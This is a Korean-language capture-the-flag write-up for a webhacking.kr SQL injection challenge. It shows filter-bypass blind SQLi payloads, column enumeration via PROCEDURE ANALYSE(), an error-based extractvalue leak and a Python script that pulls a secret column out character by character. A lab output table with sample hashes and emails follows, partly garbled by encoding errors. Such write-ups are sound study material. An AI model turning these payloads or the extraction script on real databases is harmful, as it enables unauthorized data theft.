Write-Up
문제에 접근하면 초록 몬스터가 등장하며, 마우스에 따라 움직인다. 해당 게임이 Game Over 가 되면 alert()가 발생하고, form 데이터가 전송이 되는 것을 볼 수 있는데, 나의 score 값이 POST request 되는 것을 볼 수 있다. ( 아래와 같이 Game Over가 되도록 js 코드를 조작하였다. )
if(1) {alert('GAME OVER'); sfrm.submit(); }
rank.php에 접속해 보자! 여기서는 score에 따른 ranking 점수를 볼 수 있다. 위 그림 2에서 score에 점수를 넣어 전송하면 rank DB에 반영이 된다. 그 이유는 아래 mysql_query에서 확인할 수 있다. ( 내가 입력 한 score=33을 rank page에서 요청할 때, 다른 사용자 id가 나타날 수도 있는데, 다른 사용자 값이 DB상 위에 위치해있기 때문에 그렇다. )
mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");
첫번째 시도
score 파라미터에서 SQLi이 일어날 것 같았다.
/challenge/web-31/rank.php?score=37/**/--+1
/challenge/web-31/rank.php?score=37+AND+1%3D2--+
위 두 쿼리로 SQLi의 가능성을 확인했다.
다음으로는 Order by 절로 컬럼의 갯수를 파악하고자 하였다.
/challenge/web-31/rank.php?score=37/**/order/**/by/**/3--+
union select를 시도하고 싶었으나, select 구문이 필터링 됨을 확인했다. '(싱글), "(더블) 쿼터 또한 필터링 된다. CHAR(0x73,0x65,0x6C,0x65,0x63,0x74) 와 같은 함수로 select를 우회하려 했으나 실패했다. ( 테스트를 해보았는데 CHAR(0x73,0x65,0x6C,0x65,0x63,0x74) 1; 과 같은 쿼리는 동작하지 않았다... SQL 구문으로써 역할을 하지 못해 구문 오류가 발생한다. )
37+and+substr(123,1,1) = 1%23
위와 같은 payload를 시도했으나, substr 과 mid, substring 모두 필터링 되었다. 그래서 right와 left를 이용해본다.
?score=1+and+if(ord(right(left(id,1),1))=80,1,0)--+ : Piterpan
위 paylaod는 필터링 되지 않으며, 참 거짓에 따른 다른 반응을 볼 수 있었다. 하지만 이 이후로는 의미있는 공격시도를 하지 못했다.
?score=37+or+if(ord(right(left(flag,1),1))=121,1,0)--+
if((count(column_name) from information_schema.columns where table_name like 0x6368616c6c3535)=3,1,0)--+
위와 같이 동작되지 않는 의미없는 쿼리를 적어보는 등... 답이 보이지 않았다.
두번째 시도
procedure analyse() 함수가 limit 절 뒤에서 사용이 가능하며, DB명, 테이블명, 컬럼명 획득이 가능하다라는 것을 알게 되었다.
?score=12+limit+0,1+procedure+analyse()--+ 의 결과 : webhacking.chall55.id //
?score=12+limit+1,1+procedure+analyse()--+ 의 결과 : webhacking.chall55.score //
?score=12+limit+2,1+procedure+analyse()--+ 의 결과 : webhacking.chall55.p4ssw0rd_1123581321 //
?score=12+limit+3,1+procedure+analyse()--+ 은 결과 없음.
그래서 위와 같이 procedure analyse() 함수를 사용해보았다. 위의 결과를 보니, DB명.테이블명.컬럼 명 인 것 같다.
아까 위에서 아래와 같이 mysql_query가 DB에 insert into 처리 되는 것을 보았다.
mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");
그러므로 p4ssw0rd_1123581321에는 flag가 담겨있을 확률이 높다.
먼저 해당 컬럼 값의 length 를 아래와 같이 파악한다.
?score=1+AND+length(p4ssw0rd_1123581321)%3D31--+ : id : Piterpan // 1 ( 참 반응 )
flag로 추정되는 값의 길이를 파악했으니, 아래와 같은 파이썬 코드를 활용해 그 값을 구해본다.
import requests
import string
url="https://webhacking.kr/challenge/web-31/rank.php?score=1 AND "
# https://webhacking.kr/challenge/web-31/rank.php?score=1 AND length(p4ssw0rd_1123581321)%3D31--+
cookies ={'PHPSESSID':"nfng1nc2me7chlibi4tnq9qedq"}
result=""
for i in range(1,32):
for j in range(32,127):
param="if(ord(right(left(p4ssw0rd_1123581321,"+str(i)+"),1))="+str(j)+",1,0)--+"#+str(j)+",(select 1 union select 2),1)%23"
URL = url+param
print(URL)
response = requests.get(URL, cookies=cookies)
# print(response.text)
if "Piterpan" in response.text:
result += chr(j)
print(result)
break
print("pw: "+result)
위 코드로 flag를 구할 수 있었다.
실습
select * from members procedure analyse(); 의 결과는 아래와 같다. ( Union , Select 필터링 시 유용할 듯 싶다 )
Field_name Min_value Max_value Min_length Max_length Empties_or_zeros Nulls Avg_value_or_avg_length Std Optimal_fieldtype
pentest.members.idx 1 5 1 1 0 0 3.0000 1.4142 ENUM('1','2','3','4','5') NOT NULL
pentest.members.id guest test 4 6 0 0 5.0000 NULL ENUM('guest','hacker','uuni','LOSSQL','test') NOT NULL
pentest.members.password 084e0343a0486ff05530df6c705c8bb4 우왕굳 9 32 0 0 27.4000 NULL ENUM('084e0343a0486ff05530df6c705c8bb4','098f6bcd4621d373cade4e832627b4f6','d6a6bc0db10694a2d90e3a69648f3a03','e10adc3949ba59abbe56e057f20f883e','?곗솗援?) NOT NULL
pentest.members.name Tester 해커 6 9 0 0 7.8000 NULL ENUM('Tester','寃뚯뒪??,'愿由ъ옄','?꾨Т媛?,'?댁빱') NOT NULL
pentest.members.email 123@gm.com test@test.com 10 21 0 0 14.8000 NULL ENUM('123@gm.com','example@a.com','hacker@hacker.com','new_email@example.com','test@test.com') NOT NULL
pentest.members.company (주)uuni WhiteHat_School 9 15 0 0 11.6000 NULL ENUM('(二?uuni','hackercompany','HI.company','TestCompany','WhiteHat_School') NOT NULL
위에서 procedure analyse() 명령 사용 후, webhacking.chall55.p4ssw0rd_1123581321 값을 추출해냈다. DB명(pentest).테이블명(members).컬럼명(idx) 형태가 일치한 것을 볼 수 있다. ( 블로그 게시 글에는 좀 답답하게 보이는 데, ChatGPT에게 이쁘게 정리해달라고 하면 잘 정리해줍니다!!;;; )
응용.. ( extractvalue() 사용 )
MariaDB [pentest]> select * from members limit 1,1 procedure analyse(extractvalue(1,concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':10.4.24-MariaDB'
문자열 일부 가져오기 함수 ( left, right )에 대한 실습은 아래 그림 5와 같다.
LEFT(문자, 가져올 갯수); : 문자에 왼쪽을 기준으로 일정 갯수를 가져오는 함수이다.
RIGHT(문자, 가져올 갯수); : 문자에 오른쪽을 기준으로 일정 갯수를 가져오는 함수이다.